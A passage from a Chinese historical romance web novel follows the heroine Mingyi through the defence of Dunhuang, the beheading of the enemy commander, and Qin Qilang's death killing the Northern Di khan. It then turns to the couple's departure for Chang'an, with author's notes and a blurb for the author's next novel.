“三娘子……”周月夕紧张地抓住她的手臂,“那些北狄兵是不是要闯进来了?” 明宜点点头:“殿下,你们要不还是先去刺史府地道藏着?” 周月夕害怕归害怕,但还是坚定摇头:“既然已经出来,那我就要与三娘子你并肩作战!” “没错!”周子炤点头附和,“三娘子都不怕,我一个男儿又怕什么?” 明宜笑:“那你们自己机灵点!随时找地方藏好。” 两位天之骄子身边跟着大内高手,她其实也不太担心。 轰隆—— 是城门被破开的声音。 在火油用完后,陆浪便率人下楼,眼见城门要破,他一声令下:“撤——” 不过片刻,城门被撞开。 气急败坏的乌尔,气势汹汹冲进来,然而却忽然一愣。 原来这城门后,除了抵着门的石块木头,却不见半条人影。 乌尔骂了一句脏话:“装神弄鬼!”然后大手一挥,“给我杀!寸草不留!” 三千兵卒在门外倒下了上千,但两千重甲兵,也足够屠平这小小一座城池。 橐橐脚步声,打破了寂静的敦煌城。 一行人刚走进了不到百米,后方忽然有飞箭飕飕射过来,后方的兵卒猝不及防,一连倒下几个。 不过他们反应也快,立即转身,举着盾牌朝箭来的方向杀过去。 但这些人并不恋战,射了几箭,掉头就跑,瞬间便如泥牛入海一样,淹没在黑暗中。 与此同时,另一边又有石头铁棍投掷而来。 北狄兵又立刻又追过去。 三番五次下来,虽然伤亡不重,但这些重甲兵累得气喘吁吁。 而城中到底只有这么大。 将士又不能躲进民舍,以防连累百姓,只能在街巷游蹿,这些重甲兵被遛了几圈,也渐渐摸清了方向,追踪到了不少兵卒。 而正面对战,城中兵卒哪里是这些重甲兵的对手。 明宜听着一声声的痛呼哀嚎,心脏不由得揪紧。 不能这样下去。 就算几千兵卒能守住,那定然也是惨胜。 射人先射马,擒贼先擒王。 她得想办法杀掉那个乌尔。 但据她观察,这个乌尔很谨慎,始终跟在手下身后,并不打头阵, 而此刻,陆浪正带着人与他们正面对战,他试图攻进去对付乌尔,但始终被前方重甲兵牢牢挡住。 陆浪身手乃是顶级,但手中的刀,却难以刺透这铜墙铁壁。 明宜忽然就想到了当初的秦七郎,虽然那时,乌尔只带了一两百人,但他身受重伤,仍旧杀了十几人,眼下他才知道,对方本事有多大。 不过现在不是想这些的时候,明宜举起弓箭,朝人群中那高大身影射过去。 铮—— 箭矢射中乌尔胸口,只可惜对方穿着甲胄,只溅起一簇火光便落下。 不过这一箭还是让乌尔吓了一跳,他抬头朝明宜的方向看过来。 只见月光之下,那屋顶站着一道清瘦身影,手持大弓,在他看过来时,拉弓引弦。 这一回,确实两箭连发,全都直直朝他射过来。 乌尔到底经验丰富,慌忙举起盾牌。 砰砰—— 两只箭先后射在盾牌上。 乌尔不由得有些心惊。 这屋顶女子的箭术,竟是如此厉害。 这让他想起上回救走鲁刺儿那女子。 明宜再次从箭筒抽出一支箭,用北狄语高声道:“乌尔,那次光顾着救走鲁刺儿,没功夫送你去见阎王,今晚本姑娘来送你上路了!” 又是一箭射过来。 乌尔躲在盾后,听着箭矢撞击盾牌刺耳的声响,气急败坏下令:“给我射死那女的!” 他身旁几人赶紧抽出箭,齐齐对上屋顶的明宜。 明宜见状赶紧遁逃。 这几日,她对城中路线早烂熟于心,逃得自然顺利。 只是听着身后砰砰砰的箭声,还是有些心惊胆战。 乌尔原本是一门心思想先杀掉沙狼,这会儿也顾不得太多,自己带着几人朝明宜的方向追去,其余人继续与沙狼一行缠斗。 到了这会儿,大部分北狄兵体力已经耗了大半,但乌尔始终没怎么出手,犹保存着体力。 眼下只想杀了那女人,以血当日之耻。 他领着紧追着屋顶上的明宜。 而在屋顶上,到底是没法跑太快,但明宜也不敢下来,自己一个人,对上这些野兽一样的重甲兵,小命定是难保。 但在屋顶的情况也并不乐观,一支支箭朝她射过来,她哪能次次都躲过? “侯夫人!这里来——” 正跑着,忽然一道清灵的声音传来。 明宜定睛一看,却见前方正是望春楼,此时二楼轩窗打开,探出一张脸朝她望过来,正是叶弥儿。 她深吸一口气,几步飞踏上过去,叶弥儿朝她屋顶扔上一条红绸带,她眼明手快抓住,借着绸带荡进了窗内。 砰的一声,窗子在身后落下,挡掉了两根射过来的箭。 “多谢叶老板!” 叶弥儿笑道:“侯夫人今晚亲自守城,我这个被北狄亡了国的柔然公主,岂能坐视不理?” 砰砰砰—— 楼下门被撞开,是乌尔闯进来了。 叶弥儿道:“侯夫人且在楼上等着,我带人去会会这北狄贼子!” 明宜道:“你们当心!这人是北狄叶护乌尔。” 叶弥儿美艳的脸,绽放出一抹倨傲的笑容“放心,这是我的地盘。,来一个杀一个,来一对杀一双。” 明宜知道她手下这些胡姬歌女,个个是高手,点点头道:“好!” 叶弥儿施施然出门。 明宜怕影响她们,小心翼翼藏在门后。 只见身着红衣的美人拍了拍手,空中红烛顿时被点燃,照亮了整个大堂。 乌尔带了十几人过来,乌泱泱站在堂中央。 叶弥儿往护栏软软一靠,笑道:“这位郎君,可是要来我们望春楼听曲儿?” 乌尔抬头看到这样的美人,顿时朗声笑道:“好说好说,只要美人将刚刚那女子交出来,我日后便天天来听曲。” 叶弥儿笑得比春花还灿烂:“若是我不交呢?” 乌尔脸色一沉,皮笑肉不笑道:“那我让美人见识一下我这把刀的厉害!” 叶弥儿笑道:“好!那我就来开开眼界!” 说着又拍拍手。 密密麻麻的红绸从四面八方飞射抽出来,将楼下兵卒牢牢罩住,顿时让他们什么都看不见。 十几道矫捷倩影从楼上顺着红绸飞掠而下,手中短刀朝被红绸裹住的头颅刺去。 重甲兵虽戴兜鍪,此时他们被红绸裹住,轮廓一清二楚,女郎们快准狠,刀刀刺中这些人的脸。 一时间,哀嚎痛呼不绝于耳。 红绸也被染得更红。 只是这杀伤力到底有限,很难立刻取人性命。 果不其然,没过多久,忽听哗啦一声,红绸被暴力撕裂。 脸上冒着血的乌尔,怒吼道:“找死!” 他手中大刀一扫,几个女子便跌落在地。 叶弥儿眉头一皱,提剑朝楼下飞掠而去。 一时间,魁梧的重甲兵,和灵巧的女子缠斗在一起。 因着先前受了重创,十几个重甲兵接二连三倒下。 只是叶弥儿这边的人也好不到哪里去,眼见着堂中只剩下乌尔和叶弥儿。 这乌尔身手不算敏捷,但胜在力气大,所谓一力降十会,叶弥儿渐渐占了下风。 砰—— 叶弥儿被一脚踹飞两丈远,当即吐出一口血来。 乌尔重重喘了口气,因这一场恶战,消耗了太多力气,身上甲胄早变得如千斤重。 他见叶弥儿爬起来要往上逃,干脆气急败坏解开身上甲胄,摘下头上碍事的兜鍪,重重啐了口,恶狠狠道:“想逃?没那么容易!” 然而他还未迈步,刚摘下兜鍪变得轻松的脑袋,忽然一痛。 他几乎不可置信地睁大眼睛,朝楼上看去。 只见一个女子站在上方,手正对着自己,还没反应过来,又有一支箭从女子袖中射出,再次钉在他额头。 “你……你……” 乌尔抬手指着明宜,一句话没说完,便噗通一声倒在地上,抽搐了两下,没了动静。 叶弥儿卸力般瘫在地上,喘着气笑道:“侯夫人好箭法!” 明宜道:“还得多亏叶老板耗他这么久,让他气急败坏卸了甲胄!” 她边说边走下来,蹲下身将乌尔手中大刀取下。 “你要做甚?”叶弥儿问道。 明宜深吸一口气:“我要借他的头一用!” 说着牙一咬心一横,举起刀,狠狠朝地上不知有没有完全断气的男人脖子砍去。 砰的一声,血花四溅。 明宜那张清丽绝伦的脸上,也染了几抹艳红。 “你……你……”哪怕是见过世面的叶弥儿,也被这场景吓得不轻,支支吾吾半天没说出一句完整的话。 堂中其他还没断气的北狄兵,见此情形哪里敢再动? 明宜抹了把脸上的血,提着乌尔的头颅:“我走了,叶老板快给你的人疗伤。” “啊?哦……”叶弥儿目送她上楼,心中大为震撼。 这是长安城的贵女? 她也终于知道为何小凉王倾心自己这位弟妹。 因为他们是同类。 当初刚入凉州时,明宜看到城中挂着的头颅,只觉得心惊胆战,断定小凉王是个冷血无情的杀神。 而此时,她却无比冷静地一手提着灯笼,一手提着刚刚亲手斩下的头颅,一步步踏上屋顶。 前后不过隔了几个月。 “各位北狄兵,你们的头领乌尔已被我斩杀,还不如速速放下刀,束手就擒!” 明宜站在一座塔楼上,朝下方混战的人们用北狄语高声喊道。 她手中灯笼将乌尔的头颅照得分明。 也照亮了她染血的衣裳。 让她整个人看起来很有几分鬼魅。 下方原本还气势汹汹的北狄兵们,看清乌尔的脑袋和这浑身血的女子,顿时乱了阵脚。 陆浪见状,大吼一声:“给我杀!” 一方因首领被杀,方寸大乱,而另一方则军心大振。 坚不可摧的重甲兵,顿时变成一团散沙,被流民军打得四处乱窜。 原本藏着的周月夕和周子炤也冒出来,带着护卫冲上去帮忙。 紧接着,原本门扉紧闭的民舍,也咯吱咯吱开了门,百姓提着兵器冲出来,与守城将士一起战斗。 明宜望着下面胜局已定的场面,重重坐在瓦背上,又抬头看了看天空,远处已经露了一丝鱼肚白。 这个不眠之夜,已然血流成河。 但至少他们守住了这座城。 只是不知,前方的小凉王可还好?—— 作者有话说:让明宜狠一把 第96章 第 95 章 你是英雄 在敦煌城中大局将定时, 城外北狄大营忽然多处遭人纵火。 他们所在之地虽有水源,却到底隔了些距离,这边的火刚灭掉, 那边又窜起来。 虽然抓住了好几个纵火者, 当场斩杀,但还是让整个大营乱作一团。 而火还未灭, 王帐的突涅大汗又收到消息, 说敦煌城三千重甲兵遭遇惨败,乌尔被斩杀, 死伤大半, 活着的人除了几个逃出城, 皆被俘虏。 突涅闻言勃然大怒, 要知道他专门派乌尔带领三千重甲兵去攻城,便是想分散小凉王在前线的军力。 不料, 小凉王却始终按兵不动。 他本想, 城中无驰援,那定是乌尔囊中之物,他甚至下令让乌尔屠城, 一旦敦煌城被屠的消息传到前方, 定会扰乱河西军。 谁知道, 他等了大半夜,没等到乌尔屠城的消息传来,反倒等来三千重甲兵惨败的消息。 突涅大汗一时怒气攻心,此番南征, 几乎倾尽北狄全力,为得就是一举拿下河西,然后剑指大宁。 虽是远征, 但北狄兵力,远胜一个河西,他对这一战势在必得。 不想,刚入沙洲便接连遭挫。 他担心再等下来,会有更多变故,于是大手一挥,决定立即拉开大战。 与此同时,收到城中传来消息的楚飞,喜上眉梢跑进凉王帐中。 “王爷——”他气喘吁吁,激动得有些语无伦次,“城……城守住了,是夫人她砍下了乌尔头颅!” 李赟眉头微挑,轻描淡写点头道:“嗯,知道了!” “啊?”楚飞眨眨眼睛,“您就这反应?” 李赟勾了勾嘴角:“预料之中的事罢了。”说着抬眸看向对方,虽然神色平静,但那双冷峻的灰眸,此时却如有星辰闪烁一般,熠熠生辉,昭显着他此时内心有多欢喜,“夫人本就有这个本事。” 楚飞撇撇嘴,嘟囔道:“你想笑就笑,何必装模作样!” 李赟站起身,朗声笑道:“把城守住的消息告知全军,提高士气,北狄大军要来了,准备迎敌!”顿了下,又补充一句,“既然夫人和城中将士百姓替我们守住了城,我们也不能让他们失望,这一回,我们定要让北狄大军有来无回!” “没错!”楚飞用力点头。 * 天彻底亮了。 虽然昨晚打败了北狄三千重甲兵,但城中将士也死伤不少。今日的敦煌城没了往日熙熙攘攘的繁荣热闹,只弥漫着一股劫后余生的庆幸。 百姓们自发清理城中狼藉,准备食物汤药去慰问兵卒,刺史府门口更是堆满了肉类瓜果。 乃是专门送给侯夫人和沙狼的。 “陆浪,你怎么样?” 昨晚一场鏖战,陆浪始终身先士卒,哪怕是武状元出身,也受了一身伤,幸而没有性命之虞。 明宜亲自端着粥汤来看他。 陆浪摇摇头,笑说:“我没事。” 他这笑乃是发自肺腑,虽然身体受伤,但心中却十分欣慰。他看了眼明宜眼下的青色,又道:“你不用管我,一夜没睡,好好去睡一觉吧。” 明宜将托盘放在桌上,笑道:“城外大战已经开始,我如何睡得着?” “我们能破了北狄三千重甲兵,王爷定能打败北狄大军。” 明宜笑:“话虽如此,但城中城外到底不同。河西军只得十万,北狄却有二十多万,就算能胜,那也定是一场血流成河的鏖战。”说着叹息一声,“不管是河西兵还是北狄兵,说到底都是一条条鲜活的生命。” 陆浪笑道:“昨晚三娘子斩下乌尔头颅时,可没见这么妇人之仁?” “那不一样。” “有何不同?” 明宜微微一怔,继而又笑道:“好像确实也没什么不同。只要上了战场,不是你死就是我亡。”说着重重舒了口气,“惟愿这次之后,天下再无战乱。” 陆浪道:“只要世间有野心欲望这种东西存在,战争就永远不可能消失。” “是啊,都是你们这些男人的错。” 陆浪有些无辜:“我也算?” 明宜噗嗤一笑:“你确实不算。” 说话间,门外长宁公主人未到声先至:“陆郎君,你怎么样了?我让人给你熬了一碗汤药!” 明宜和陆浪齐齐转头,却见周月夕小心翼翼端着一只碗走了进来。 陆浪忙起身拱手:“有劳殿下了!” “哎呀,你坐着就好,别乱动!”周月夕赶紧道。 她走到桌前,将药碗放下,抬起被烫到的手摸了摸耳朵:“这药是我们大内的方子,你赶紧趁热喝了。” 明宜笑了笑:“那陆浪你慢慢喝药,我回房休息了。” 周月夕用力点头:“嗯,我来照顾陆郎君。” 明宜出了门,留下一对男女在屋内,以及周月夕叽叽喳喳的声音。 刚回到屋中,便有信使来给她报告前方战况。 “禀夫人,我们河西军与北狄军已在玉门关附近正式开战。王爷身先士卒,我军士气很高。” 明宜点头:“我知道了。” 虽然她身心俱疲,但却没有一丝困意,一直在屋中等着时不时从城外传来的消息。 直到夜幕再次降临。 信使兴奋来报:“禀夫人,北狄军被王爷打得一败涂地,已经溃散撤退,王爷正在追击突涅可汗。” 明宜惊喜道:“北狄军撤退了?”说完,却又有点忧心忡忡,若是北狄军保留足够兵力,成功撤退,随时还能卷土重来。想必李赟也是意识到这一点,才会全力追击。 北狄士兵定是杀不完,但突涅可汗和几个头领必须死。 所谓穷寇莫追,要追击败兵,难度绝不亚于比正面对敌以少胜多。 明宜想了想,吩咐留守的参将,让他带五百兵马,随自己出城,狙击城外流寇残兵。 眼下城内城外都打了胜仗,正是将士们气势高涨时,所谓一鼓作气势如虎,明宜就要借着现在这股士气,再帮小凉王多杀一些北狄兵。 城中几座城门,如今依旧严防死守,怕得就是残兵来犯,不过有了昨晚的胜利,百姓主动请缨守城,各家各户将火油木石都贡献出来,堆在城门上。 若有北狄兵胆敢来犯,来一个杀一个,来一对杀一双。 城门上更是挂着乌尔和一众北狄兵的头颅,在夜色下,光是看一眼就能让人退避三舍。 明宜骑着御风出了城门,下意识回头朝城门上方看了眼。 从前只觉得城门挂敌军头颅,乃是野蛮人做派。 如今才切身体会,战争之下,所有的仁慈之心都得暂时收敛。 因为对敌人仁慈,便是对自己残忍。 “驾——” 明宜深吸一口气,挥动马鞭,领着众人朝西北方向疾驰而去。 这一路,果然遇到不少北狄残兵,他们五百人的小队,半夜下来,足足杀了上千人。 而这半夜过去,明宜终于看到了李赟的军队。 他们简单扎营,正在休整。 李赟自然也收到来报,不等人过来,已经跑出来迎接。 “阿兄——” 明宜遥遥看到那道熟悉的高大身影,忍不住在马背上挥手高声呼唤。 “三娘——” 李赟一边跑一边回应。 到了营地,明宜勒了马,跳下来奔向对方。 两人旁若无人,紧紧抱在一起。 “你怎么样?”没抱多久,明宜便想到什么似的,松开手上下打量对方,见到对方身上沾着不少血迹,顿时大惊失色,“你受伤了?” 李赟笑着摇头:“没有,是别人的血。” 明宜闻言这才放心。 李赟也捧着她的脸,上上下下仔细看她:“你怎么样?有没有受伤?” 明宜摇头:“没有。” 李赟拉着她的手,往营帐中走:“城中的事我都听说了,我们三娘真是厉害!” 明宜笑:“小凉王以少胜多大败北狄军的事我也听说了。” 李赟先是舒了口气,继而又蹙起眉头:“但突涅可汗和他几个头领未死,这场仗就不算结束。” 明宜问:“有他们下落吗?” 李赟摇头:“北狄军四散而逃,突涅可汗混在兵卒中,不知到底走哪条路线。不过我们每条线路都派了人马,只要有消息,马上会有鸣镝传回消息。” 话音刚落,天空便响起鸣镝。 李赟转头一看:“是东北方向!”说着一声令下,“开拔!” 明宜也没了心思与他儿女情长,松开他的手,飞快返回御风背上。 李赟好笑地摇摇头,却也不敢耽搁,骑上马领军出发。 与此同时,突涅可汗正带着一千多骑兵,疯狂往东北奔逃。 他只率这一支精兵,是为了方便奔逃躲藏。 然而就在群马在沙洲扬沙飞奔时,前方几匹马忽然被地上冒出的绳索,绊住了马蹄。 马儿嘶鸣声顿时响彻夜空,一匹匹战马因为来不及停下,前赴后继倒地。 一同倒地的,还有马背上的北狄兵。 不过到底是马背上的民族,又是沙地,这场变故并没有伤到这群骑兵的根本。 众人狼狈爬起来,还没来得及重新牵马,却见前方月色下,出现乌泱泱的一群人马。 “大汗!我秦七郎来取你的狗命来了!” 突涅可汗听到这声音,先是心中一震,继而又重重啐了口,恶狠狠道:“鲁刺儿,你不会以为你这点人能杀得了我吧?”说着又哈哈大笑,“你们拔延部这个冬天可是死了不少人,你们这些人是想要去陪他们吧?” 秦七郎身旁的拔延人闻言顿时大怒,忍不住就要朝前冲,被他伸手拦住:“不用急!”说着,又高声道,“你让我们的拔延人去北边酷寒之地放牧,那我们昨晚就烧了你的粮草,一报还一报!” 突涅可汗一听,顿时勃然大怒:“原来是你搞的鬼!”说着挥挥手,咬牙切齿道,“都给我上!谁取了这狗贼人头,我封他为王。” 这承诺显然很有用,一众北狄兵,像是打了鸡血一样,大吼着举起刀枪,朝前方人影冲过去。 秦七郎装上长枪:“给我杀!” 两百人对上千人,这注定是一场惨烈之战。 但秦七郎丝毫不惧,只见夜色下,他移形换影,势如破竹,一个个北狄兵,前赴后继倒在他那支狠厉的秦家枪之下。 “大汗,河西兵追来了!” 双方人马缠斗了半个多时辰,这一千多精兵,不仅没能杀死秦七郎,自己还折损过半。 不过秦七郎那边也好不了多少,眼下还剩几十人负隅顽抗。 秦七郎自然也在其列。 他已是伤痕累累,但仿佛不知痛一样,手中长枪依旧又快又狠。 突涅可汗回头遥遥朝月色下乌泱泱的影子看去,咬牙飞身上马,吩咐道:“走!” 一行人不再与对方纠缠,骑上马便要飞奔离去。 “想跑!”秦七郎怒吼一声,也骑上马,不管不顾追上去。 “王爷,前面有人,应该就是!” “追!”李赟猛喝一声,用力挥动马鞭。 突涅可汗这支精兵,都是擅长长途奔袭的骑兵,若不是秦七郎在此埋伏拖住他们,只怕早已逃出百里之外。 哪怕是眼下发觉行踪,一时半会儿追上去也不容易。 而这厢的秦破虏和二三十拔延人,则死死咬着前方几百人不放。 不知跑了多久,眼见天空已露鱼肚白,前方忽然出现一道河流。 正是疏勒河。 马匹奔袭一路,到了河边,便不听使唤地放缓脚步,在河水中痛饮。 秦七郎提起长枪,借着身下马儿惯性,飞身一跃,越过北狄骑兵,直奔河中央的突涅可汗。 “给我杀了他!” 突涅可汗用力驱动马匹往对岸去,然而身下马儿受了秦七郎一枪,吃痛得嚎叫一声,不再听主人使唤,只在河水中嘶鸣着踌躇不前。 秦七郎和同伴先飞快攻击了几匹马。 马匹受惊,在水中乱窜。 很快北狄兵马便乱做一团,乌泱泱数百人,竟是被几十人搅和得七零八落。 秦七郎趁乱再次破开阻拦他北狄兵,冲到突涅可汗跟前。 “鲁刺儿!”突涅可汗怒吼一声,“你找死!” 凉王兵马上就要追来,他心中惊惧,愈发对这纠缠不清的家伙恨之入骨,也不再躲躲藏藏,直接抽出刀他那把今晚还未出鞘的大刀。 能做到北狄大汗,身手自然不一般。 而此时的秦七郎已是强弩之末。 几刀砍下来,虽勉强应付,但还是中了一刀。 “鲁刺儿,今日我若注定死在凉王手中,那就先送你上路,给我陪葬!” 鲁刺儿擦了下嘴角的血,狞笑道:“你只会死在我手中。”说着举枪怒吼一声:“阿父,我来给你报仇了!” “三娘子,你说我杀了突涅可汗,便是大英雄,我要你亲眼看到我成为大英雄!” 明宜遥遥听到这声怒吼,心中一震,高声道:“是秦七郎!” 李赟点头。 “驾——” 乌泱泱的兵马在夜色下逼近前方河流。 夜空下,噼里啪啦的兵戈相击将流水声掩盖,数百道身影混战成一团。 晨光熹微,虽然看不清具体模样。 但明宜还是从那杆挥舞的长枪,认出秦七郎。 他和几个同伴此刻正被一众北狄兵包围。 李赟隔着老远,一声猛喝:“北狄贼子,还不快束手就擒!” 突涅可汗看到已追至河边的凉州军,再不敢恋战,让手下挡住秦七郎,自己急急往后退,牵上一匹马便朝对岸跑去。 秦七郎见状,爆喝一声,用长□□开阻拦他的兵卒,踏着河水,飞身冲上前。 一□□中突涅可汗身下马腹。 马匹受惊,扬起前蹄,朝天空嘶鸣一声。 突涅可汗被甩下马背,怒而朝秦七郎一刀砍来。 秦七郎不退反进,长枪直直抵上对方大刀。 然而几个北狄兵已一拥而上,齐齐从他身后砍来。 秦七郎一心要杀死面前的突涅可汗,完全不顾身后刀枪。 在后背被刺中的同时,他怒吼一声,手中长枪也直直刺入突涅可汗胸口。 突涅可汗双手握住枪杆,大声道:“快杀了他!” 又几刀砍向秦七郎的后背。 但他仿佛不知痛一般,依旧死死攥住手中长枪,怒吼着继续用力往前刺。 突涅痛哼一声,低头看向深深刺入胸口的长枪,一脸的不可置信。 他怎么都想不到,一个身受重伤的人,还能爆发出如此大力道。 与此同时,一把长刀狠狠刺穿秦七郎的身体,他朗声大笑:“突涅!我带你去给我阿父赔罪!” 说罢,连人带枪狠狠压向面前的人,与对方一起滚落河岸水边。 伴随着没人听到的微弱声音。 “我是秦破虏,大宁忠良北庭将军秦飞扬之子……” 对面的凉州军已经下水。 河中北狄兵见大汗已无力回天,顿时作鸟兽散,各自牵马朝北边奔逃而去。 “追!”李赟道。 “追——”将士的咆哮声,划破清晨微光。 明宜骑马跟着李赟下了河水。 她有种不好的预感…… 此时淡淡晨曦洒落,将岸边照得分明。 明宜看到了秦七郎。 他紧紧压在一个男人身上,手中长枪,深深刺入对方胸口。 而他背后也插着一把刀,浑身早被鲜血染透。 两人一半身体在岸边,一半在水下,没有任何动静。 “秦七郎——”明宜心脏不由得揪紧,小心翼翼唤了声。 却没得到任何回应。 明宜顾不得其他,不等马儿靠岸,人已经跳入冰冷的河水中,朝地上的人飞奔去。 “秦七郎——”她又唤了声,还是没有回应。 及至走到人旁,她小心翼翼将人从突涅可汗身上掀开,又轻轻拍打着对方冰冷的面颊,焦急唤道:“秦七郎!你醒醒!” “他死了。”李赟冷沉的声音在她身旁响起。 明宜伸手在秦七郎鼻息下探了探。 先是怔忡了片刻,然后便卸力般瘫坐在河岸边,不可置信地看着身旁双目紧阖的少年。 秦七郎狡猾多端,从小凉王手下都逃走过不知几回。 她以为他这样的人,绝不会轻易死去。 他野心勃勃,还没成为北庭王,驻扎大宁北境与河西相互制衡。 然而这一切都化为了乌有。 那个不会死的秦七郎,此刻已经成为一具冰冷的尸体。 甚至连遗言都没留下一句。 不,也有的。 她想起方才遥遥听到的他那句怒吼! 明宜望着秦七郎清俊的年轻面孔,喃喃道:“秦七郎,你是英雄,是我们大宁的大英雄!”—— 作者有话说:死亡就是秦七郎最好的结局。 只有死了,才能既往不咎,回归正面形象。 本来计划是四十万字完结,看样子到不了了,不过尽量再多写点男女主谈情说爱哈哈哈 在快完结时,我找回了手感,服了。 第97章 第 96 章 这场仗虽然大胜,但远远…… 这场仗虽然大胜, 但远远还未结束,溃散的北狄兵尚有十几万,仍旧要继续追击。 不过这些后续事宜, 不需要小凉王亲力亲为, 楚飞和几位刺史就足以应付。 战争一旦打响,便无真正赢家。 虽然小凉王打败北狄, 但河西军伤亡也是以万计, 损失不可谓不惨重。 明宜和李赟回到敦煌城,歇息了一日, 便又忙着处理战后诸多杂事, 伤亡将士的善后与抚恤, 北狄俘虏的处置, 诸如此类。 两人各自忙碌,一连几天都只能早晚打个照面, 风花雪月儿女情长, 在战争的阴影下,也暂时被抛之脑后。 五天后,秦梦来与他们道别, 她要带着阿弟的尸身回北庭。 他生在北庭, 父母葬在北庭。 秦梦要将他安葬在秦将军夫妇身旁, 这个八岁便失去父母的孩子,从此再不用与父母分开。 也是见到秦梦后,明宜才知道,这些日子一直不离阿弟左右的秦梦, 那日却不在秦七郎身旁,乃是被阿弟找了理由支开。 饶是心思粗犷如秦梦,事后也明白过来, 那是因为阿弟做好了赴死打算。 明宜忽然想起当初,得知养父被杀,身受重伤的秦七郎,那了无生气的模样,那时候他就没打算活着。 只是自己两次救了他,又让他和失散多年的阿姐团聚,他才貌似活了过来。 然后口口声声说要与小凉王共同对付北狄,要封王拜将,还要娶她为妻。 现在想来,那或许只是他为了骗过阿姐和众人的戏码,让大家觉得他这样野心勃勃的少年,定会惜命苟活。 但他唯一的野心,不过是为养父报仇,为拔延部谋得一个未来,也为自己洗掉身上污点,对得起大宁忠良秦将军之后这个身份。 他确实都做到了。 也成功骗过了所有人。 毕竟他向来擅长演戏。 * 转眼,两个月过去。 沙洲迎来了盛夏,水草丰茂,瓜果成熟。 战争的阴霾也悉数散去,商客可汇聚于此,又各奔东西。 明宜和李赟也返回了凉州。 “三娘,我们得去京城了!” 这日夜晚,明宜洗漱后,正坐在妆台前梳理头发,李赟的声音忽然从门口传来。 她转过头,只见对方嘴角噙笑,施施然走了进来。 明宜眨眨眼睛:“是来圣旨了么?” 李赟一进来,白芷便识趣地退了出去。 他走到明宜身旁,拿过她手中梳子,一边为她梳头,一边道:“嗯,钦差刚到,宣了圣旨,让我们进京领赏。”顿了下,又笑了笑,“母亲的信也到了,说她已经与圣上提了我们的事,圣上很高兴,待我们进京,就会赐婚,让我们在长安大婚后,再回凉州。母亲那边已经在着手为我们操办婚事。” 明宜脸微微一红:“这么快?” 李赟失笑,伸手摸了摸她的脸:“我还嫌慢了呢?若不是母亲在长安,我只恨不得现在就办婚礼入洞房。” 明宜娇嗔道:“想得美!” 李赟笑着将她抱入怀中:“我要不想得美,怎能娶到三娘这样的佳人?”说着弯身凑到她耳畔,呢喃般道,“这些日子太忙,咱们好久没亲近过,今晚让我歇在你这里可好?” 明宜倒也大方,点点头:“嗯。” 李赟放下手中木梳,一把将人打横抱起,走到床榻放下,然后自己解了薄薄衣衫,露出结实身躯,在她身旁躺下。 屋内烛光摇曳。 明宜目光落在他身上交错的疤痕,下意识伸手摸了摸:“以后可不许再添新伤了。” 李赟因她的出门浑身酥麻,赶紧捉住她柔软的手,笑道:“嗯,都听夫人的。” 明宜拍了他一下:“还没成亲呢,叫什么夫人?” 李赟笑:“王府上下都叫你夫人,也没见你反对,怎么到我这里不乐意了?” 明宜道:“二夫人也是夫人。” “他们叫你夫人可不是二夫人。” 明宜:“还不是你吩咐的。” 李赟将她搂入怀中,朗声笑道:“反正迟早是我的夫人,有什么关系?” 明宜靠在他肩头,只觉得对方热烘烘的身躯,让人无比安心,身子也不由自主软下来。 不知何时,李赟已经剥开她的里衣,轻轻吻在她的肩头,然后缓缓下滑。 明宜骤然清醒,只是发出的声音,却像是能掐出水一般:“你作何?” 李赟道:“三娘,我想好好亲亲你。” 明宜软软推了推他的头,自然是没能推开。 “不是说要等成亲么?” 李赟闷笑道:“只要等成亲,但打仗还要提前演习,我就是预先演练一番,不会真刀真枪。”说着又低声道,“说起来三娘博览群书,又有经验,定是比我懂得多,若不然先教教我?” 他哪里是真要明宜教他,无非是促狭话罢了。 说自己懂得不多,却分明花样百出。 虽未真刀真枪,却也是在巫山云海走了几遭。 此后几日,李赟便死皮赖脸在明宜屋中住下,原因无他,一旦去了京城,在大婚之前,两人想要这般亲近只怕没这么容易。 毕竟长安不是凉州,规矩实在是多,他自己倒是无所谓,可不能让明宜落个不好的名声。 五日后,安顿好所有庶务的李赟,带着明宜和表弟表妹启程去往长安。 “哎呀,都有点不想走了。” 周月夕挽着明宜的手臂一边往外走,一边恋恋不舍地朝里看。 明宜戏谑道:“别看了,这王府又没有你想看的人。” 周月夕小脸一红,嘟囔道:“我本来也没想看人。” 明宜看了看她,好笑地摇摇头。 先前在沙洲时,这个金枝玉叶每天围着陆浪打转。 陆浪也是好脾气,对她的叽叽喳喳胡作非为照单全收,后来他们离开敦回凉州,周月夕因为舍不得陆浪,还偷偷掉了几滴眼泪。 明宜想着长宁公主向来三分钟热度,对男子的喜爱,从未超过三个月,以至于每次相中的郎君,还没等到谈婚论嫁,便已失去兴趣,如今年方十八九,还没成亲的打算。 但这回从与陆浪见面到如今,正好三月。 她不仅兴趣没减,还成日念叨着对方。 明宜想了想,提醒道:“就算圣上赦免陆浪的罪,他也不可能再回长安。” 周月夕撇撇嘴:“我知道,反正我定然会求父皇赦免他的罪。” 长宁公主是嫡出的公主,皇上皇后也定不会让女儿嫁给陆浪这种身份的男子。 明宜没再多说什么,旁人姻缘,她干涉不了。 若真是有情人,总有办法破除千难万阻。 就像他和李赟一样。 思及此,她看向已经在门外马车旁等候的男人。 李赟朝她勾唇一笑,亲手掀开车帘。 明宜笑着走过去,登上小凉王的专属马车。 李赟深吸一口气,跟在她身后坐进来。 明宜想到什么似的,笑道:“去年送阿玉回凉州,原本以为待他安葬便能回长安,谁曾想,这一来竟已将近一整年。真是人算不如天算!” 李赟笑:“此话差矣,去年我见到三娘第一眼,想的便是,我要将人留在凉州。你看,我就算到了。” 明宜瞪他一眼,继而有轻笑出声,道:“虽然人算不如天算,但我还是要感谢老天爷的安排。”说着抬眸看向对方,认真道,“我很庆幸能遇到阿兄。” 李赟握住他的手,笑道:“我才是三生有幸。”—— 作者有话说:不是明天就是后天正文完结。 大婚要轰轰烈烈。 考虑写点啥番外。 然后隔壁《怪物》过几天就开,人外都市文,前世今生纯感情流,大概是一个带点民俗类神怪和都市奇谈设定的梗,我要找回写感情戏的手感,感兴趣的收藏一下啊,文案如下: 《怪物》 唐沫出身优渥,父母恩爱,学业尚可。 人生没什么大忧愁,却也平淡无奇。 直到,她准备去对暗恋的学长赵斯年表白的那晚,遇到了在湖边小道独行的陆祇。 陆祇,赵斯年的室友,学霸兼全校公认的校草,还是顶级富二代。 但并不张扬,反倒文质彬彬,温柔和善。 而这晚,唐沫却看到俊美温和的校草,在黑暗中变成了一只面目狰狞的怪物。 翌日,学校突发新闻,有学生昨晚跳湖轻生。 唐沫本以为是幻觉。 但几次之后。 她确定陆祇是怪物。 而且他的怪物形态,只有自己能看见。 